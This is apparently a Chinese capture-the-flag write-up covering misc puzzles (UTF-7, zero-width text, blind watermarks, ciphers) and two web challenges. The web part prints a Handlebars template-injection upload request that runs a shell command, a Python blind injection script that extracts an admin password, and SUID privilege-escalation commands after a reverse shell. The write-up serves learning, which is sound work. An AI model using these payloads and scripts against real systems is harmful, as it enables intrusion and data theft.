题目比较脑洞的一个比赛,简单写写wp,队友做出来的就不写了
MISC
checkin
utf7转码即可
project
(我怀疑这题出题人套工控就是为了挣i春秋的工控加钱buff)一个工程文件,看文件应该是kingdom的文件,直接下个组控王打开
然后看半天发现毛也没有。。。注意到文件夹里面有个exe,运行后发现出现了个文件
解压后打开,是个eml邮件,可以通过qq邮箱打开
阴间吓死人
图片直接另存为,010打开,发现最下面区块存在ourserect的特征值,直接解密
直接打开eml文件,发现存在错误编码
猜测是文本可能存在一定隐写,fuzz一波后发现是0宽
最后解密即可获得flag
JumpJumpTiger
exe,逆向没有任何东西,,,,
010打开,发现大量base编码
提取出来,观察
发现开头,奇数连起来是jpg的base编码,偶数是png的编码,
写个脚本就行了
fp = open('C:\\Users\\Snowywar\\Desktop\\h\\1.txt')
jpg = ''
png = ''
data = fp.read()
for i in range(0, len(data), 2):
jpg += data[i]
png += data[i+1]
fs = open('C:\\Users\\Snowywar\\Desktop\\h\\jpg.txt', 'w')
fs.write(jpg)
fs = open('C:\\Users\\Snowywar\\Desktop\\h\\png.txt', 'w')
fs.write(png)
转成图片,两张看起来一模一样,那就是盲水印了
python3 bwmforpy3.py decode 1.png 2.png flag.png
即可获得flag
where_can_find_code
开局获得一个asc,直接查看可以发现是html,甚至可以改成html
然后是一个炫酷的网站
最右边是一个像凯撒的flag格式,特别符合,进行分析后我这里多次使用对字体文件进行换表,就出现了这种情况
就是直接把flag跟前面dpeb互换了,然后还是不对,卡了半天就去问了出题人
然后vim看了看,我 完 全 理 解 了
直接进行wbstego解密,获得20810842042108421根据标志可以获得是云影密码,
网上抄个脚本
def de_code(c):
dic = [chr(i) for i in range(ord("A"), ord("Z") + 1)]
flag = []
c2 = [i for i in c.split("0")]
for i in c2:
c3 = 0
for j in i:
c3 += int(j)
flag.append(dic[c3 - 1])
return flag
def encode(plaintext):
dic = [chr(i) for i in range(ord("A"), ord("Z") + 1)]
m = [i for i in plaintext]
tmp = [];flag = []
for i in range(len(m)):
for j in range(len(dic)):
if m[i] == dic[j]:
tmp.append(j + 1)
for i in tmp:
res = ""
if i >= 8:
res += int(i/8)*"8"
if i%8 >=4:
res += int(i%8/4)*"4"
if i%4 >=2:
res += int(i%4/2)*"2"
if i%2 >= 1:
res += int(i%2/1)*"1"
flag.append(res + "0")
print ("".join(flag)[:-1])
c = input("输入要解密的数字串:")
print (de_code(c))
m_code = input("请输入要加密的数字串:")
encode(m_code)
继续寻找,关键词
搜索到这个网站http://rumkin.com/tools/cipher/playfair.php
解密一下就出来了
WEB
eznode
代码审计,直接开审
前半段是注入,这不是我弄得,队友直接给我密码了,我直接写后半段了
(队友截图)
登入进去后就是个页面啥也没有,只能看看代码
代码审计的时候注意到一个hbs的库
我记得是出过相关的题目的,应该就是打个模板注入了属于是
参考文章:[XCTF]华为第三场 | Z3ratu1’s blog
参考文章:https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#handlebars-nodejs
然后他有个upload的路由,可以post的方式进行一个文件上传
然后大概就是把这个payload稍作修改就可以进行一个模板注入了
POST /upload HTTP/1.1
Host: eci-2ze7ukn1cc571i4l8ast.cloudeci1.ichunqiu.com:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
DNT: 1
Connection: close
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1629967107,1630726977; __jsluid_h=fca389fa11cb93c97caf4bd8fa0a1413; token=s%3Aj%3A%7B%22username%22%3A%22admin%22%2C%22password%22%3A%228ffd3f76d2488ba7242c43965b66113f%22%7D.GYd9u%2F%2Fy2KJG588mLO2c3eRNs3RHqCJSlHPVc2qFl0k
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------3567234534097887584462
Content-Length: 763
----------------------------3567234534097887584462
Content-Disposition: form-data; name="1"; filename="1111"
Content-Type: image/png
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('cat /flag').toString();"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
----------------------------3567234534097887584462--
成功返回路径,
最后在admin页面post方式传参返回访问就行了
OldLibrary
最近刚好在学go语言,这道题很适合来练练手
源码,go语言,直接审计
此处存在一个/bin/bash,可以进行一个命令注入,但是有限制。。。
跟一下login的路由
发现此处存在一个where表达式的注入,注他妈的
import requests
password = ''
proxies = {
'http': 'http://127.0.0.1:8080',
}
target = "http://eci-2zedl4uaigfcz3gfgalw.cloudeci1.ichunqiu.com:8888/signin"
for j in range(0, 50):
for i in range(1, 96):
char = chr(35+i)
payload = {
"username": f"admin' || this.password[{j}] == '{char}')return true; else if ('a' == 'b",
"password": "123"
}
r = requests.post(target, data=payload)
if ("Are You Kidding" in r.text):
password+=char
break
print(password)
注出密码后登录,源码可以知道用户名是administrator,只需要登陆就行了
在makepdf中,将html渲染成pdf,所以可以利用xss来打一手ssrf
(这里放截图的原因是我不知道为什么我这wordpress一旦写这种带标签的语句就会无法保存,例如这样)
最后反弹shell,发现没有权限。。。suid提权打一下就差不多了,应该好多人都卡这里,俺也一样
Linux SUID 提权 | Str3am’s Blog (jlkl.github.io)
find / -perm -u=s -type f 2>/dev/null #查找系统上运行的所有SUID可执行文件
comm /flagggisshere /dev/null 2> /dev/null
暂无评论内容